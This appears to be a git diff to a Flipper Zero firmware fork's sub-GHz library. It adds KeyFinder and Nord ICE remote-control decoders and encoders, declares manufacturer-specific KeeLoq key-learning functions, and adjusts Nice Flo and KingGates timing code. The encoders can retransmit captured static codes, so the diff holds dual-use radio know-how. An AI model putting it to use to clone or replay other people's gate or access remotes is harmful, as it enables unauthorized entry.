@@ -101,3 +105,19 @@ uint64_t subghz_protocol_keeloq_common_magic_serial_type2_learning(uint32_t data
  */
 
 uint64_t subghz_protocol_keeloq_common_magic_serial_type3_learning(uint32_t data, uint64_t man);
+
+// Protocol (Manufacturer) specific learning
+// TODO: Better documentation for these functions
+
+uint64_t subghz_protocol_keeloq_common_learning_aerf(uint32_t data, const uint64_t key);
+
+uint64_t
+    subghz_protocol_keeloq_common_learning_erreka(uint32_t data, uint32_t mix, const uint64_t key);
+
+uint64_t subghz_protocol_keeloq_common_learning_pujol(uint32_t data, const uint64_t key);
+
+// Utils
+uint32_t subghz_protocol_keeloq_common_decrypt_derived(
+    uint32_t hop_encrypted,
+    uint64_t derived_manufacturing_key,
+    uint32_t outer_limit);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/keyfinder.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/keyfinder.c
new file mode 100644
index 000000000..beb8f0882
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/keyfinder.c
@@ -0,0 +1,363 @@
+#include "keyfinder.h"
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+#define TAG "SubGhzProtocolKeyFinder"
+
+static const SubGhzBlockConst subghz_protocol_keyfinder_const = {
+    .te_short = 400,
+    .te_long = 1200,
+    .te_delta = 150,
+    .min_count_bit_for_found = 24,
+};
+
+struct SubGhzProtocolDecoderKeyFinder {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+    uint8_t end_count;
+};
+
+struct SubGhzProtocolEncoderKeyFinder {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    KeyFinderDecoderStepReset = 0,
+    KeyFinderDecoderStepSaveDuration,
+    KeyFinderDecoderStepCheckDuration,
+    KeyFinderDecoderStepFinish,
+} KeyFinderDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_keyfinder_decoder = {
+    .alloc = subghz_protocol_decoder_keyfinder_alloc,
+    .free = subghz_protocol_decoder_keyfinder_free,
+
+    .feed = subghz_protocol_decoder_keyfinder_feed,
+    .reset = subghz_protocol_decoder_keyfinder_reset,
+
+    .get_hash_data = subghz_protocol_decoder_keyfinder_get_hash_data,
+    .serialize = subghz_protocol_decoder_keyfinder_serialize,
+    .deserialize = subghz_protocol_decoder_keyfinder_deserialize,
+    .get_string = subghz_protocol_decoder_keyfinder_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_keyfinder_encoder = {
+    .alloc = subghz_protocol_encoder_keyfinder_alloc,
+    .free = subghz_protocol_encoder_keyfinder_free,
+
+    .deserialize = subghz_protocol_encoder_keyfinder_deserialize,
+    .stop = subghz_protocol_encoder_keyfinder_stop,
+    .yield = subghz_protocol_encoder_keyfinder_yield,
+};
+
+const SubGhzProtocol subghz_protocol_keyfinder = {
+    .name = SUBGHZ_PROTOCOL_KEYFINDER_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_keyfinder_decoder,
+    .encoder = &subghz_protocol_keyfinder_encoder,
+};
+
+void* subghz_protocol_encoder_keyfinder_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderKeyFinder* instance = malloc(sizeof(SubGhzProtocolEncoderKeyFinder));
+
+    instance->base.protocol = &subghz_protocol_keyfinder;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 5;
+    instance->encoder.size_upload = 60;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_keyfinder_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderKeyFinder* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderKeyFinder instance
+ */
+static void
+    subghz_protocol_encoder_keyfinder_get_upload(SubGhzProtocolEncoderKeyFinder* instance) {
+    furi_assert(instance);
+    size_t index = 0;
+
+    // Send key data 24 bit first
+    for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            // Send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_keyfinder_const.te_short);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_keyfinder_const.te_long);
+
+        } else {
+            // Send bit 0
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_keyfinder_const.te_long);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_keyfinder_const.te_short);
+        }
+    }
+    // End bits (3 times then 1 more with gap 4k us)
+    for(uint8_t i = 0; i < 3; i++) {
+        instance->encoder.upload[index++] =
+            level_duration_make(true, (uint32_t)subghz_protocol_keyfinder_const.te_short);
+        instance->encoder.upload[index++] =
+            level_duration_make(false, (uint32_t)subghz_protocol_keyfinder_const.te_short);
+    }
+    instance->encoder.upload[index++] =
+        level_duration_make(true, (uint32_t)subghz_protocol_keyfinder_const.te_short);
+    instance->encoder.upload[index++] =
+        level_duration_make(false, (uint32_t)subghz_protocol_keyfinder_const.te_short * 10);
+
+    instance->encoder.size_upload = index;
+    return;
+}
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ */
+static void subghz_protocol_keyfinder_check_remote_controller(SubGhzBlockGeneric* instance) {
+    instance->serial = instance->data >> 4;
+    instance->btn = instance->data & 0xF;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_keyfinder_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderKeyFinder* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_keyfinder_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        subghz_protocol_keyfinder_check_remote_controller(&instance->generic);
+        subghz_protocol_encoder_keyfinder_get_upload(instance);
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_keyfinder_stop(void* context) {
+    SubGhzProtocolEncoderKeyFinder* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_keyfinder_yield(void* context) {
+    SubGhzProtocolEncoderKeyFinder* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_keyfinder_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderKeyFinder* instance = malloc(sizeof(SubGhzProtocolDecoderKeyFinder));
+    instance->base.protocol = &subghz_protocol_keyfinder;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_keyfinder_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderKeyFinder* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_keyfinder_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderKeyFinder* instance = context;
+    instance->decoder.parser_step = KeyFinderDecoderStepReset;
+}
+
+void subghz_protocol_decoder_keyfinder_feed(void* context, bool level, volatile uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderKeyFinder* instance = context;
+
+    // KeyFinder Decoder
+    // 2026.03 - @xMasterX (MMX)
+
+    // Key samples
+    //
+    // 433.92 MHz AM650
+    //         Serial ID      Serial           ID
+    // RED -    C396F E = 11000011100101101111 1110
+    // PURPLE - C396F B = 11000011100101101111 1011
+    // GREEN -  C396F D = 11000011100101101111 1101
+    // BLUE -   C396F C = 11000011100101101111 1100
+
+    switch(instance->decoder.parser_step) {
+    case KeyFinderDecoderStepReset:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_keyfinder_const.te_short * 10) <
+                        subghz_protocol_keyfinder_const.te_delta * 5)) {
+            //Found GAP
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+            instance->decoder.parser_step = KeyFinderDecoderStepSaveDuration;
+        }
+        break;
+    case KeyFinderDecoderStepSaveDuration:
+        if(instance->decoder.decode_count_bit ==
+           subghz_protocol_keyfinder_const.min_count_bit_for_found) {
+            if((level) && (DURATION_DIFF(duration, subghz_protocol_keyfinder_const.te_short) <
+                           subghz_protocol_keyfinder_const.te_delta)) {
+                instance->end_count++;
+                if(instance->end_count == 4) {
+                    instance->decoder.parser_step = KeyFinderDecoderStepFinish;
+                    instance->end_count = 0;
+                }
+            } else if(
+                (!level) && (DURATION_DIFF(duration, subghz_protocol_keyfinder_const.te_short) <
+                             subghz_protocol_keyfinder_const.te_delta)) {
+                break;
+            } else {
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+                instance->end_count = 0;
+                instance->decoder.parser_step = KeyFinderDecoderStepReset;
+            }
+            break;
+        }
+
+        if(level) {
+            instance->decoder.te_last = duration;
+            instance->decoder.parser_step = KeyFinderDecoderStepCheckDuration;
+        } else {
+            instance->decoder.parser_step = KeyFinderDecoderStepReset;
+        }
+        break;
+    case KeyFinderDecoderStepCheckDuration:
+        if(!level) {
+            // Bit 1 is short and long timing = 400us HIGH (te_last) and 1200us LOW
+            if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_keyfinder_const.te_short) <
+                subghz_protocol_keyfinder_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_keyfinder_const.te_long) <
+                subghz_protocol_keyfinder_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = KeyFinderDecoderStepSaveDuration;
+                // Bit 0 is long and short timing = 1200us HIGH (te_last) and 400us LOW
+            } else if(
+                (DURATION_DIFF(instance->decoder.te_last, subghz_protocol_keyfinder_const.te_long) <
+                 subghz_protocol_keyfinder_const.te_delta) &&
+                (DURATION_DIFF(duration, subghz_protocol_keyfinder_const.te_short) <
+                 subghz_protocol_keyfinder_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = KeyFinderDecoderStepSaveDuration;
+            } else {
+                instance->decoder.parser_step = KeyFinderDecoderStepReset;
+            }
+        } else {
+            instance->decoder.parser_step = KeyFinderDecoderStepReset;
+        }
+        break;
+    case KeyFinderDecoderStepFinish:
+        // If got 24 bits key reading is finished
+        if(instance->decoder.decode_count_bit ==
+           subghz_protocol_keyfinder_const.min_count_bit_for_found) {
+            instance->generic.data = instance->decoder.decode_data;
+            instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+            if(instance->base.callback)
+                instance->base.callback(&instance->base, instance->base.context);
+        }
+        instance->decoder.decode_data = 0;
+        instance->decoder.decode_count_bit = 0;
+        instance->end_count = 0;
+        instance->decoder.parser_step = KeyFinderDecoderStepReset;
+        break;
+    }
+}
+
+uint8_t subghz_protocol_decoder_keyfinder_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderKeyFinder* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_keyfinder_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderKeyFinder* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_keyfinder_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderKeyFinder* instance = context;
+    return subghz_block_generic_deserialize_check_count_bit(
+        &instance->generic,
+        flipper_format,
+        subghz_protocol_keyfinder_const.min_count_bit_for_found);
+}
+
+void subghz_protocol_decoder_keyfinder_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderKeyFinder* instance = context;
+
+    subghz_protocol_keyfinder_check_remote_controller(&instance->generic);
+
+    uint64_t code_found_reverse = subghz_protocol_blocks_reverse_key(
+        instance->generic.data, instance->generic.data_count_bit);
+
+    // for future use
+    // // push protocol data to global variable
+    // subghz_block_generic_global.btn_is_available = false;
+    // subghz_block_generic_global.current_btn = instance->generic.btn;
+    // subghz_block_generic_global.btn_length_bit = 4;
+    // //
+
+    furi_string_cat_printf(
+        output,
+        "%s %db\r\n"
+        "Key: 0x%06lX\r\n"
+        "Yek: 0x%06lX\r\n"
+        "Serial: 0x%05lX\r\n"
+        "ID: 0x%0X",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        (uint32_t)(instance->generic.data & 0xFFFFFF),
+        (uint32_t)(code_found_reverse & 0xFFFFFF),
+        instance->generic.serial,
+        instance->generic.btn);
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/keyfinder.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/keyfinder.h
new file mode 100644
index 000000000..d37f24df4
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/keyfinder.h
@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_KEYFINDER_NAME "KeyFinder"
+
+typedef struct SubGhzProtocolDecoderKeyFinder SubGhzProtocolDecoderKeyFinder;
+typedef struct SubGhzProtocolEncoderKeyFinder SubGhzProtocolEncoderKeyFinder;
+
+extern const SubGhzProtocolDecoder subghz_protocol_keyfinder_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_keyfinder_encoder;
+extern const SubGhzProtocol subghz_protocol_keyfinder;
+
+/**
+ * Allocate SubGhzProtocolEncoderKeyFinder.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderKeyFinder* pointer to a SubGhzProtocolEncoderKeyFinder instance
+ */
+void* subghz_protocol_encoder_keyfinder_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderKeyFinder.
+ * @param context Pointer to a SubGhzProtocolEncoderKeyFinder instance
+ */
+void subghz_protocol_encoder_keyfinder_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderKeyFinder instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_keyfinder_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderKeyFinder instance
+ */
+void subghz_protocol_encoder_keyfinder_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderKeyFinder instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_keyfinder_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderKeyFinder.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderKeyFinder* pointer to a SubGhzProtocolDecoderKeyFinder instance
+ */
+void* subghz_protocol_decoder_keyfinder_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderKeyFinder.
+ * @param context Pointer to a SubGhzProtocolDecoderKeyFinder instance
+ */
+void subghz_protocol_decoder_keyfinder_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderKeyFinder.
+ * @param context Pointer to a SubGhzProtocolDecoderKeyFinder instance
+ */
+void subghz_protocol_decoder_keyfinder_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderKeyFinder instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_keyfinder_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderKeyFinder instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_keyfinder_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderKeyFinder.
+ * @param context Pointer to a SubGhzProtocolDecoderKeyFinder instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_keyfinder_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderKeyFinder.
+ * @param context Pointer to a SubGhzProtocolDecoderKeyFinder instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_keyfinder_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderKeyFinder instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_keyfinder_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/kinggates_stylo_4k.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/kinggates_stylo_4k.c
index 29922c10e..ef2bd5dc8 100644
--- a/lib/subghz_unleashed_vendor/src/subghz/protocols/kinggates_stylo_4k.c
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/kinggates_stylo_4k.c
@@ -568,8 +568,8 @@ static void subghz_protocol_kinggates_stylo_4k_remote_controller(
                 if(((decrypt >> 28) == instance->btn) && (((decrypt >> 24) & 0x0F) == 0x0C) &&
                    (((decrypt >> 16) & 0xFF) == (instance->serial & 0xFF))) {
                     ret = true;
-                    break;
                 }
+                break;
             }
         }
     if(ret) {
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/nice_flo.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/nice_flo.c
index f7c8fe757..b0acfd1eb 100644
--- a/lib/subghz_unleashed_vendor/src/subghz/protocols/nice_flo.c
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/nice_flo.c
@@ -10,7 +10,7 @@
 static const SubGhzBlockConst subghz_protocol_nice_flo_const = {
     .te_short = 700,
     .te_long = 1400,
-    .te_delta = 200,
+    .te_delta = 250,
     .min_count_bit_for_found = 12,
 };
 
@@ -211,8 +211,8 @@ void subghz_protocol_decoder_nice_flo_feed(void* context, bool level, uint32_t d
     switch(instance->decoder.parser_step) {
     case NiceFloDecoderStepReset:
         if((!level) && (DURATION_DIFF(duration, subghz_protocol_nice_flo_const.te_short * 36) <
-                        subghz_protocol_nice_flo_const.te_delta * 36)) {
-            //Found header Nice Flo
+                        subghz_protocol_nice_flo_const.te_delta * 29)) {
+            //Found header Nice Flo (25200us +- 7250us)
             instance->decoder.parser_step = NiceFloDecoderStepFoundStartBit;
         }
         break;
@@ -326,8 +326,8 @@ void subghz_protocol_decoder_nice_flo_get_string(void* context, FuriString* outp
     furi_string_cat_printf(
         output,
         "%s %dbit\r\n"
-        "Key:0x%08lX\r\n"
-        "Yek:0x%08lX\r\n",
+        "Key:0x%06lX\r\n"
+        "Yek:0x%06lX\r\n",
         instance->generic.protocol_name,
         instance->generic.data_count_bit,
         code_found_lo,
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/nord_ice.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/nord_ice.c
new file mode 100644
index 000000000..2e7d0caa9
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/nord_ice.c
@@ -0,0 +1,350 @@
+#include "nord_ice.h"
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+#define TAG "SubGhzProtocolNord_Ice"
+
+static const SubGhzBlockConst subghz_protocol_nord_ice_const = {
+    .te_short = 300,
+    .te_long = 800,
+    .te_delta = 150,
+    .min_count_bit_for_found = 33,
+};
+
+struct SubGhzProtocolDecoderNord_Ice {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+};
+
+struct SubGhzProtocolEncoderNord_Ice {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    Nord_IceDecoderStepReset = 0,
+    Nord_IceDecoderStepSaveDuration,
+    Nord_IceDecoderStepCheckDuration,
+} Nord_IceDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_nord_ice_decoder = {
+    .alloc = subghz_protocol_decoder_nord_ice_alloc,
+    .free = subghz_protocol_decoder_nord_ice_free,
+
+    .feed = subghz_protocol_decoder_nord_ice_feed,
+    .reset = subghz_protocol_decoder_nord_ice_reset,
+
+    .get_hash_data = subghz_protocol_decoder_nord_ice_get_hash_data,
+    .serialize = subghz_protocol_decoder_nord_ice_serialize,
+    .deserialize = subghz_protocol_decoder_nord_ice_deserialize,
+    .get_string = subghz_protocol_decoder_nord_ice_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_nord_ice_encoder = {
+    .alloc = subghz_protocol_encoder_nord_ice_alloc,
+    .free = subghz_protocol_encoder_nord_ice_free,
+
+    .deserialize = subghz_protocol_encoder_nord_ice_deserialize,
+    .stop = subghz_protocol_encoder_nord_ice_stop,
+    .yield = subghz_protocol_encoder_nord_ice_yield,
+};
+
+const SubGhzProtocol subghz_protocol_nord_ice = {
+    .name = SUBGHZ_PROTOCOL_NORD_ICE_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_nord_ice_decoder,
+    .encoder = &subghz_protocol_nord_ice_encoder,
+};
+
+void* subghz_protocol_encoder_nord_ice_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderNord_Ice* instance = malloc(sizeof(SubGhzProtocolEncoderNord_Ice));
+
+    instance->base.protocol = &subghz_protocol_nord_ice;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 128;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_nord_ice_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderNord_Ice* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderNord_Ice instance
+ */
+static void subghz_protocol_encoder_nord_ice_get_upload(SubGhzProtocolEncoderNord_Ice* instance) {
+    furi_assert(instance);
+    size_t index = 0;
+
+    // Send key and GAP
+    for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            // Send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_nord_ice_const.te_long);
+            if(i == 1) {
+                //Send gap if bit was last
+                instance->encoder.upload[index++] = level_duration_make(
+                    false, (uint32_t)subghz_protocol_nord_ice_const.te_short * 25);
+            } else {
+                instance->encoder.upload[index++] =
+                    level_duration_make(false, (uint32_t)subghz_protocol_nord_ice_const.te_short);
+            }
+        } else {
+            // Send bit 0
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_nord_ice_const.te_short);
+            if(i == 1) {
+                //Send gap if bit was last
+                instance->encoder.upload[index++] = level_duration_make(
+                    false, (uint32_t)subghz_protocol_nord_ice_const.te_short * 25);
+            } else {
+                instance->encoder.upload[index++] =
+                    level_duration_make(false, (uint32_t)subghz_protocol_nord_ice_const.te_long);
+            }
+        }
+    }
+
+    instance->encoder.size_upload = index;
+    return;
+}
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ */
+static void subghz_protocol_nord_ice_check_remote_controller(SubGhzBlockGeneric* instance) {
+    instance->serial = (instance->data >> 15) << 9 |
+                       (instance->data & 0x1FF); // 26 bits for serial
+    instance->btn = (instance->data >> 9) & 0x3F; // 6 bits for button
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_nord_ice_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderNord_Ice* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_nord_ice_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        subghz_protocol_nord_ice_check_remote_controller(&instance->generic);
+        subghz_protocol_encoder_nord_ice_get_upload(instance);
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_nord_ice_stop(void* context) {
+    SubGhzProtocolEncoderNord_Ice* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_nord_ice_yield(void* context) {
+    SubGhzProtocolEncoderNord_Ice* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_nord_ice_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderNord_Ice* instance = malloc(sizeof(SubGhzProtocolDecoderNord_Ice));
+    instance->base.protocol = &subghz_protocol_nord_ice;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_nord_ice_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderNord_Ice* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_nord_ice_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderNord_Ice* instance = context;
+    instance->decoder.parser_step = Nord_IceDecoderStepReset;
+}
+
+void subghz_protocol_decoder_nord_ice_feed(void* context, bool level, volatile uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderNord_Ice* instance = context;
+
+    // Nord ICE Decoder
+    // 2026.03 - @xMasterX (MMX)
+
+    // Key samples
+    //
+    //                      Serial          Btn    Serial
+    // 0x9467688A btn 1 = 10010100011001110 110100 010001010
+    // 0x9467308A btn 2 = 10010100011001110 011000 010001010
+    // 0x9467628A btn 3 = 10010100011001110 110001 010001010
+    // 0x9467648A btn 4 = 10010100011001110 110010 010001010
+
+    switch(instance->decoder.parser_step) {
+    case Nord_IceDecoderStepReset:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_nord_ice_const.te_short * 25) <
+                        subghz_protocol_nord_ice_const.te_delta * 11)) {
+            //Found GAP
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+            instance->decoder.parser_step = Nord_IceDecoderStepSaveDuration;
+        }
+        break;
+    case Nord_IceDecoderStepSaveDuration:
+        if(level) {
+            instance->decoder.te_last = duration;
+            instance->decoder.parser_step = Nord_IceDecoderStepCheckDuration;
+        } else {
+            instance->decoder.parser_step = Nord_IceDecoderStepReset;
+        }
+        break;
+    case Nord_IceDecoderStepCheckDuration:
+        if(!level) {
+            // Bit 0 is short and long timing = 300us HIGH (te_last) and 800us LOW
+            if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_nord_ice_const.te_short) <
+                subghz_protocol_nord_ice_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_nord_ice_const.te_long) <
+                subghz_protocol_nord_ice_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = Nord_IceDecoderStepSaveDuration;
+                // Bit 1 is long and short timing = 800us HIGH (te_last) and 300us LOW
+            } else if(
+                (DURATION_DIFF(instance->decoder.te_last, subghz_protocol_nord_ice_const.te_long) <
+                 subghz_protocol_nord_ice_const.te_delta) &&
+                (DURATION_DIFF(duration, subghz_protocol_nord_ice_const.te_short) <
+                 subghz_protocol_nord_ice_const.te_delta)) {
